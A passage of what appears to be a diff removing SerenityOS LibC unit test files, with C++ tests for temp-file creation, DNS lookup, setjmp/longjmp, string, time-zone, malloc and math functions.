#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
TEST_CASE(test_mktemp_unique_filename)
{
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
EXPECT(ptr != MAP_FAILED);
if (fork() == 0) {
char path[] = "/tmp/test.mktemp.XXXXXX";
auto temp_path = ByteString::formatted("{}", mktemp(path));
EXPECT(temp_path.characters());
unlink(path);
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
exit(EXIT_SUCCESS);
} else {
wait(NULL);
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
char path[] = "/tmp/test.mktemp.XXXXXX";
auto path2 = ByteString::formatted("{}", mktemp(path));
EXPECT(path2.characters());
unlink(path);
EXPECT_NE(path1, path2);
}
munmap(ptr, sizeof(*ptr));
}
TEST_CASE(test_mkdtemp_unique_filename)
{
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
EXPECT_NE(ptr, MAP_FAILED);
if (fork() == 0) {
char path[] = "/tmp/test.mkdtemp.XXXXXX";
auto temp_path = ByteString::formatted("{}", mkdtemp(path));
EXPECT(temp_path.characters());
rmdir(path);
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
exit(EXIT_SUCCESS);
} else {
wait(NULL);
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
char path[] = "/tmp/test.mkdtemp.XXXXXX";
auto path2 = ByteString::formatted("{}", mkdtemp(path));
EXPECT(path2.characters());
rmdir(path);
EXPECT_NE(path1, path2);
}
munmap(ptr, sizeof(*ptr));
}
TEST_CASE(test_mkstemp_unique_filename)
{
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
EXPECT_NE(ptr, MAP_FAILED);
if (fork() == 0) {
char path[] = "/tmp/test.mkstemp.XXXXXX";
auto fd = mkstemp(path);
EXPECT_NE(fd, -1);
auto temp_path = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
EXPECT(temp_path.characters());
close(fd);
unlink(path);
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
exit(EXIT_SUCCESS);
} else {
wait(NULL);
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
char path[] = "/tmp/test.mkstemp.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
auto path2 = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
EXPECT(path2.characters());
close(fd);
unlink(path);
EXPECT_NE(path1, path2);
}
munmap(ptr, sizeof(*ptr));
}
TEST_CASE(test_mkstemps_unique_filename)
{
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
EXPECT_NE(ptr, MAP_FAILED);
if (fork() == 0) {
char path[] = "/tmp/test.mkstemps.prefixXXXXXXsuffix";
auto fd = mkstemps(path, 6);
EXPECT_NE(fd, -1);
auto temp_path = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
EXPECT(temp_path.characters());
close(fd);
unlink(path);
EXPECT(temp_path.starts_with("/tmp/test.mkstemps.prefix"sv));
EXPECT(temp_path.ends_with("suffix"sv));
EXPECT_EQ(strlen(path), temp_path.length());
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
exit(EXIT_SUCCESS);
} else {
wait(NULL);
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
char path[] = "/tmp/test.mkstemps.prefixXXXXXXsuffix";
auto fd = mkstemps(path, 6);
EXPECT(fd != -1);
auto path2 = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
EXPECT(path2.characters());
close(fd);
unlink(path);
EXPECT(path2.starts_with("/tmp/test.mkstemps.prefix"sv));
EXPECT(path2.ends_with("suffix"sv));
EXPECT_EQ(strlen(path), path2.length());
EXPECT_NE(path1, path2);
}
munmap(ptr, sizeof(*ptr));
}

View file

@ -1,119 +0,0 @@
/*
* Copyright (c) 2023, Marcus Nilsson <marcus.nilsson@genarp.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
TEST_CASE(gethostbyname_should_return_host_not_found)
{
auto* res = gethostbyname("unknownhostthatdoesntexistandhopefullyneverwill.com");
EXPECT_EQ(res, nullptr);
EXPECT_EQ(h_errno, HOST_NOT_FOUND);
}
TEST_CASE(gethostbyname)
{
auto* result = gethostbyname("google.com");
EXPECT_NE(result, nullptr);
EXPECT_EQ(h_errno, 0);
EXPECT_EQ(result->h_aliases[0], nullptr);
EXPECT_EQ(result->h_addr_list[1], nullptr);
EXPECT_EQ(result->h_addrtype, AF_INET);
}
TEST_CASE(gethostbyname_r_should_return_erange_when_buffer_is_to_small)
{
constexpr size_t buffer_size = 2;
char buffer[buffer_size] = { 0 };
int h_errnop;
struct hostent ret;
struct hostent* result;
int rc = gethostbyname_r("127.0.0.1", &ret, buffer, buffer_size, &result, &h_errnop);
EXPECT_EQ(rc, ERANGE);
}
TEST_CASE(gethostbyname_r_should_return_host_not_found)
{
constexpr size_t buffer_size = 1024;
char buffer[buffer_size] = { 0 };
int h_errnop;
struct hostent ret;
struct hostent* result;
int rc = gethostbyname_r("unknownhostthatdoesntexistandhopefullyneverwill.com", &ret, buffer, buffer_size, &result, &h_errnop);
EXPECT(rc < 0);
EXPECT_EQ(h_errnop, HOST_NOT_FOUND);
}
TEST_CASE(gethostbyname_r)
{
constexpr size_t buffer_size = 1024;
char buffer[buffer_size] = { 0 };
int h_errnop;
struct hostent ret;
struct hostent* result;
int rc = gethostbyname_r("google.com", &ret, buffer, buffer_size, &result, &h_errnop);
EXPECT_EQ(rc, 0);
EXPECT_EQ(h_errnop, 0);
EXPECT_NE(result, nullptr);
EXPECT_EQ(result->h_aliases[0], nullptr);
EXPECT_EQ(result->h_addr_list[1], nullptr);
EXPECT_EQ(result->h_addrtype, AF_INET);
}
TEST_CASE(getaddrinfo_should_find_https)
{
struct addrinfo hints;
struct addrinfo* result;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
int status = getaddrinfo(nullptr, "https", &hints, &result);
EXPECT_EQ(status, 0);
freeaddrinfo(result);
}
TEST_CASE(getaddrinfo_should_not_find_service_that_doesnt_exist)
{
struct addrinfo hints;
struct addrinfo* result;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
int status = getaddrinfo(nullptr, "unknownservicethatdoesntexistandhopefullyneverwill", &hints, &result);
EXPECT_EQ(status, EAI_FAIL);
freeaddrinfo(result);
}
TEST_CASE(getaddrinfo_should_find_googles_ip)
{
struct addrinfo hints;
struct addrinfo* result;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
int status = getaddrinfo("google.com", nullptr, &hints, &result);
EXPECT_EQ(status, 0);
freeaddrinfo(result);
}

View file

@ -1,151 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
TEST_CASE(setjmp)
{
jmp_buf env;
int volatile set = 1;
if (setjmp(env)) {
EXPECT_EQ(set, 0);
return;
}
EXPECT_EQ(set, 1);
set = 0;
longjmp(env, 1);
VERIFY_NOT_REACHED();
}
TEST_CASE(setjmp_zero)
{
jmp_buf env;
int volatile set = 1;
switch (setjmp(env)) {
case 0:
EXPECT_EQ(set, 1);
set = 0;
longjmp(env, 0);
VERIFY_NOT_REACHED();
case 1:
EXPECT_EQ(set, 0);
break;
default:
VERIFY_NOT_REACHED();
};
}
TEST_CASE(setjmp_value)
{
jmp_buf env;
int volatile set = 1;
switch (setjmp(env)) {
case 0:
EXPECT_EQ(set, 1);
set = 0;
longjmp(env, 0x789ABCDE);
VERIFY_NOT_REACHED();
case 0x789ABCDE:
EXPECT_EQ(set, 0);
break;
default:
VERIFY_NOT_REACHED();
};
}
TEST_CASE(sigsetjmp)
{
sigjmp_buf env;
int volatile set = 1;
if (sigsetjmp(env, 0)) {
EXPECT_EQ(set, 0);
return;
}
EXPECT_EQ(set, 1);
set = 0;
siglongjmp(env, 1);
VERIFY_NOT_REACHED();
}
TEST_CASE(sigsetjmp_zero)
{
sigjmp_buf env;
int volatile set = 1;
switch (sigsetjmp(env, 0)) {
case 0:
EXPECT_EQ(set, 1);
set = 0;
siglongjmp(env, 0);
VERIFY_NOT_REACHED();
case 1:
EXPECT_EQ(set, 0);
break;
default:
VERIFY_NOT_REACHED();
};
}
TEST_CASE(sigsetjmp_value)
{
sigjmp_buf env;
int volatile set = 1;
switch (sigsetjmp(env, 0)) {
case 0:
EXPECT_EQ(set, 1);
set = 0;
siglongjmp(env, 0x789ABCDE);
VERIFY_NOT_REACHED();
case 0x789ABCDE:
EXPECT_EQ(set, 0);
break;
default:
VERIFY_NOT_REACHED();
};
}
TEST_CASE(sigsetjmp_signal_mask)
{
sigjmp_buf env;
sigset_t alternative_sigset;
sigfillset(&alternative_sigset);
sigset_t initial_sigset;
sigprocmask(SIG_SETMASK, nullptr, &initial_sigset);
EXPECT_NE(memcmp(&alternative_sigset, &initial_sigset, sizeof(sigset_t)), 0);
if (sigsetjmp(env, 1)) {
sigprocmask(SIG_SETMASK, nullptr, &alternative_sigset);
EXPECT_EQ(memcmp(&alternative_sigset, &initial_sigset, sizeof(sigset_t)), 0);
return;
}
sigprocmask(SIG_SETMASK, &alternative_sigset, nullptr);
siglongjmp(env, 1);
VERIFY_NOT_REACHED();
}

View file

@ -1,31 +0,0 @@
/*
* Copyright (c) 2021, Gunnar Beutner <gbeutner@serenityos.org>
* Copyright (c) 2022, Daniel Bertalan <dani@danielbertalan.dev>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <string.h>
TEST_CASE(strerror_r_basic)
{
EXPECT_EQ(strerror_r(1000, nullptr, 0), EINVAL);
EXPECT_EQ(strerror_r(EFAULT, nullptr, 0), ERANGE);
char buf[64];
EXPECT_EQ(strerror_r(EFAULT, buf, sizeof(buf)), 0);
EXPECT_EQ(strcmp(buf, "Bad address"), 0);
}
TEST_CASE(strtok_r_delimiters_only)
{
char dummy[] = "a;";
char input[] = ";;;;;;";
char* saved_str = dummy;
EXPECT_EQ(strtok_r(input, ";", &saved_str), nullptr);
EXPECT_EQ(strtok_r(nullptr, ";", &saved_str), nullptr);
// The string to which `saved_str` initially points to shouldn't be modified.
EXPECT_EQ(strcmp(dummy, "a;"), 0);
}

View file

@ -1,121 +0,0 @@
/*
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/StringView.h>
#include <LibTest/TestCase.h>
#include <time.h>
auto const expected_epoch = "Thu Jan 1 00:00:00 1970\n"sv;
class TimeZoneGuard {
public:
TimeZoneGuard()
: m_tz(getenv("TZ"))
{
}
explicit TimeZoneGuard(char const* tz)
: m_tz(getenv("TZ"))
{
setenv("TZ", tz, 1);
}
~TimeZoneGuard()
{
if (m_tz)
setenv("TZ", m_tz, 1);
else
unsetenv("TZ");
}
private:
char const* m_tz { nullptr };
};
TEST_CASE(asctime)
{
TimeZoneGuard guard("UTC");
time_t epoch = 0;
auto result = asctime(localtime(&epoch));
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
}
TEST_CASE(asctime_r)
{
TimeZoneGuard guard("UTC");
char buffer[26] {};
time_t epoch = 0;
auto result = asctime_r(localtime(&epoch), buffer);
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
}
TEST_CASE(ctime)
{
TimeZoneGuard guard("UTC");
time_t epoch = 0;
auto result = ctime(&epoch);
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
}
TEST_CASE(ctime_r)
{
TimeZoneGuard guard("UTC");
char buffer[26] {};
time_t epoch = 0;
auto result = ctime_r(&epoch, buffer);
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
}
TEST_CASE(tzset)
{
TimeZoneGuard guard;
auto set_tz = [](char const* tz) {
setenv("TZ", tz, 1);
tzset();
};
set_tz("UTC");
EXPECT_EQ(timezone, 0);
EXPECT_EQ(altzone, 0);
EXPECT_EQ(daylight, 0);
EXPECT_EQ(tzname[0], "UTC"sv);
EXPECT_EQ(tzname[1], "UTC"sv);
set_tz("America/New_York");
EXPECT_EQ(timezone, 5 * 60 * 60);
EXPECT_EQ(altzone, 4 * 60 * 60);
EXPECT_EQ(daylight, 1);
EXPECT_EQ(tzname[0], "EST"sv);
EXPECT_EQ(tzname[1], "EDT"sv);
set_tz("America/Phoenix");
EXPECT_EQ(timezone, 7 * 60 * 60);
EXPECT_EQ(altzone, 7 * 60 * 60);
EXPECT_EQ(daylight, 0);
EXPECT_EQ(tzname[0], "MST"sv);
EXPECT_EQ(tzname[1], "MST"sv);
set_tz("America/Asuncion");
EXPECT_EQ(timezone, 4 * 60 * 60);
EXPECT_EQ(altzone, 3 * 60 * 60);
EXPECT_EQ(daylight, 1);
EXPECT_EQ(tzname[0], "-04"sv);
EXPECT_EQ(tzname[1], "-03"sv);
set_tz("CET");
EXPECT_EQ(timezone, -1 * 60 * 60);
EXPECT_EQ(altzone, -2 * 60 * 60);
EXPECT_EQ(daylight, 1);
EXPECT_EQ(tzname[0], "CET"sv);
EXPECT_EQ(tzname[1], "CEST"sv);
}

View file

@ -1,40 +0,0 @@
/*
* Copyright (c) 2022, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <mallocdefs.h>
#include <stdlib.h>
TEST_CASE(malloc_limits)
{
EXPECT_NO_CRASH("Allocation of 0 size should succeed at allocation and release", [] {
errno = 0;
void* ptr = malloc(0);
EXPECT_EQ(errno, 0);
free(ptr);
return Test::Crash::Failure::DidNotCrash;
});
EXPECT_NO_CRASH("Allocation of the maximum `size_t` value should fails with `ENOMEM`", [] {
errno = 0;
void* ptr = malloc(NumericLimits<size_t>::max());
EXPECT_EQ(errno, ENOMEM);
EXPECT_EQ(ptr, nullptr);
free(ptr);
return Test::Crash::Failure::DidNotCrash;
});
EXPECT_NO_CRASH("Allocation of the maximum `size_t` value that does not overflow should fails with `ENOMEM`", [] {
errno = 0;
void* ptr = malloc(NumericLimits<size_t>::max() - ChunkedBlock::block_size - sizeof(BigAllocationBlock));
EXPECT_EQ(errno, ENOMEM);
EXPECT_EQ(ptr, nullptr);
free(ptr);
return Test::Crash::Failure::DidNotCrash;
});
}

View file

@ -1,342 +0,0 @@
/*
* Copyright (c) 2018-2021, Andreas Kling <kling@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Platform.h>
#if defined(AK_COMPILER_CLANG)
# pragma clang optimize off
#else
# pragma GCC optimize("O0")
#endif
#include <LibTest/TestCase.h>
#include <float.h>
#include <math.h>
TEST_CASE(atan2)
{
EXPECT_APPROXIMATE(atan2(-1, -0.0e0), -M_PI_2);
EXPECT_APPROXIMATE(atan2(-0.0e0, -1), -M_PI);
EXPECT_APPROXIMATE(atan2(0.0e0, -1), M_PI);
EXPECT_APPROXIMATE(atan2(-0.0e0, 1), -0.0e0);
EXPECT_APPROXIMATE(atan2(0.0e0, 1), 0.0e0);
}
TEST_CASE(trig)
{
EXPECT_APPROXIMATE(sin(1234), 0.601928);
EXPECT_APPROXIMATE(cos(1234), -0.798551);
EXPECT_APPROXIMATE(tan(1234), -0.753775);
EXPECT_APPROXIMATE(sqrt(1234), 35.128336);
EXPECT_APPROXIMATE(sin(-1), -0.8414709848078965);
EXPECT_APPROXIMATE(cos(-1), 0.5403023058681398);
EXPECT_APPROXIMATE(tan(-1), -1.5574077246549023);
EXPECT(isnan(sqrt(-1)));
EXPECT(isnan(asin(1.1)));
EXPECT(isnan(asin(-1.1)));
EXPECT_APPROXIMATE(asin(0), 0.0);
EXPECT_APPROXIMATE(asin(0.01), 0.01);
EXPECT_APPROXIMATE(asin(0.1), 0.100167);
EXPECT_APPROXIMATE(asin(0.3), 0.304693);
EXPECT_APPROXIMATE(asin(0.499), 0.522444);
EXPECT_APPROXIMATE(asin(0.5), 0.523599);
EXPECT_APPROXIMATE(asin(0.501), 0.524754);
EXPECT_APPROXIMATE(asin(0.9), 1.119770);
EXPECT_APPROXIMATE(asin(0.99), 1.429257);
EXPECT_APPROXIMATE(asin(1.0), 1.570796);
EXPECT_APPROXIMATE(atan(0), 0.0);
EXPECT_APPROXIMATE(atan(0.5), 0.463648);
EXPECT_APPROXIMATE(atan(-0.5), -0.463648);
EXPECT_APPROXIMATE(atan(5.5), 1.390943);
EXPECT_APPROXIMATE(atan(-5.5), -1.390943);
EXPECT_APPROXIMATE(atan(555.5), 1.568996);
}
TEST_CASE(exponents)
{
struct values {
double x;
double exp;
double sinh;
double cosh;
double tanh;
};
values values[8] {
{ 1.500000, 4.481689, 2.129279, 2.352410, 0.905148 },
{ 20.990000, 1305693298.670892, 652846649.335446, 652846649.335446, 1.000000 },
{ 20.010000, 490041186.687082, 245020593.343541, 245020593.343541, 1.000000 },
{ 0.000000, 1.000000, 0.000000, 1.000000, 0.000000 },
{ 0.010000, 1.010050, 0.010000, 1.000050, 0.010000 },
{ -0.010000, 0.990050, -0.010000, 1.000050, -0.010000 },
{ -1.000000, 0.367879, -1.175201, 1.543081, -0.761594 },
{ -17.000000, 0.000000, -12077476.376788, 12077476.376788, -1.000000 },
};
for (auto& v : values) {
EXPECT_APPROXIMATE(exp(v.x), v.exp);
EXPECT_APPROXIMATE(sinh(v.x), v.sinh);
EXPECT_APPROXIMATE(cosh(v.x), v.cosh);
EXPECT_APPROXIMATE(tanh(v.x), v.tanh);
}
EXPECT_EQ(exp(1000), __builtin_huge_val());
}
TEST_CASE(logarithms)
{
EXPECT(isnan(log(-1)));
EXPECT(log(0) < -1000000);
EXPECT_APPROXIMATE(log(0.5), -0.693147);
EXPECT_APPROXIMATE(log(1.1), 0.095310);
EXPECT_APPROXIMATE(log(5), 1.609438);
EXPECT_APPROXIMATE(log(5.5), 1.704748);
EXPECT_APPROXIMATE(log(500), 6.214608);
EXPECT_APPROXIMATE(log2(5), 2.321928);
EXPECT_APPROXIMATE(log10(5), 0.698970);
}
union Extractor {
explicit Extractor(double d)
: d(d)
{
}
Extractor(unsigned sign, unsigned exponent, unsigned long long mantissa)
: mantissa(mantissa)
, exponent(exponent)
, sign(sign)
{
}
struct {
unsigned long long mantissa : 52;
unsigned exponent : 11;
unsigned sign : 1;
};
double d;
bool operator==(Extractor const& other) const
{
return other.sign == sign && other.exponent == exponent && other.mantissa == mantissa;
}
};
namespace AK {
template<>
struct Formatter<Extractor> : StandardFormatter {
ErrorOr<void> format(FormatBuilder& builder, Extractor const& value)
{
TRY(builder.put_literal("{"sv));
TRY(builder.put_u64(value.sign));
TRY(builder.put_literal(", "sv));
TRY(builder.put_u64(value.exponent, 16, true));
TRY(builder.put_literal(", "sv));
TRY(builder.put_u64(value.mantissa, 16, true));
TRY(builder.put_literal("}"sv));
return {};
}
};
}
static Extractor nextafter_translator(Extractor x, Extractor target)
{
return Extractor(nextafter(x.d, target.d));
}
TEST_CASE(nextafter)
{
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x1, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x0, 0x412, 0xe848200000000)), Extractor(0x0, 0x3ff, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x412, 0xe847e00000000)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x2));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x1, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848200000000), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x0, 0x412, 0xe8481ffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x1, 0x0, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe847e00000000), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x412, 0xe847dffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x0, 0x1)), Extractor(0x0, 0x412, 0xe847fffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x0, 0x1, 0x0)), Extractor(0x0, 0x1, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x0, 0x3ff, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x1, 0x3ff, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x0, 0x0, 0x1)), Extractor(0x0, 0x0, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x1, 0x7fe, 0xffffffffffffe));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x1, 0x0), Extractor(0x0, 0x1, 0x0)), Extractor(0x1, 0x0, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x1), Extractor(0x0, 0x0, 0x1)), Extractor(0x1, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x1, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xffffffffffffe));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x1, 0x1, 0x0)), Extractor(0x0, 0x0, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x1, 0x0, 0x1)), Extractor(0x0, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x0, 0x0, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x419, 0x7d783fc000000)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x1, 0x0, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x1, 0x0, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x1, 0x419, 0x7d78404000000)), Extractor(0x1, 0x3ff, 0x1));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x0, 0x0, 0x0));
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x1, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d783fc000000), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x419, 0x7d783fbffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x0, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78404000000), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x1, 0x419, 0x7d78403ffffff));
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x0, 0x1)), Extractor(0x1, 0x419, 0x7d783ffffffff));
}
TEST_CASE(scalbn)
{
EXPECT(isnan(scalbn(NAN, 3)));
EXPECT(!isfinite(scalbn(INFINITY, 5)));
EXPECT_EQ(scalbn(0, 3), 0);
EXPECT_EQ(scalbn(15.3, 0), 15.3);
// TODO: implement denormal handling in fallback scalbn
// EXPECT_EQ(scalbn(0x0.0000000000008p-1022, 16), 0x0.0000000000008p-1006);
static constexpr auto biggest_subnormal = DBL_MIN - DBL_TRUE_MIN;
auto smallest_normal = scalbn(biggest_subnormal, 1);
Extractor ex(smallest_normal);
EXPECT(ex.exponent != 0);
EXPECT_EQ(scalbn(2.0, 4), 32.0);
}
TEST_CASE(gamma)
{
EXPECT(isinf(tgamma(+0.0)) && !signbit(tgamma(+0.0)));
EXPECT(isinf(tgamma(-0.0)) && signbit(tgamma(-0.0)));
EXPECT(isinf(tgamma(INFINITY)) && !signbit(tgamma(INFINITY)));
EXPECT(isnan(tgamma(NAN)));
EXPECT(isnan(tgamma(-INFINITY)));
EXPECT(isnan(tgamma(-5)));
// TODO: investigate Stirling approximation implementation of gamma function
// EXPECT_APPROXIMATE(tgamma(0.5), sqrt(M_PI));
EXPECT_EQ(tgammal(21.0l), 2'432'902'008'176'640'000.0l);
EXPECT_EQ(tgamma(19.0), 6'402'373'705'728'000.0);
EXPECT_EQ(tgammaf(11.0f), 3628800.0f);
EXPECT_EQ(tgamma(4.0), 6);
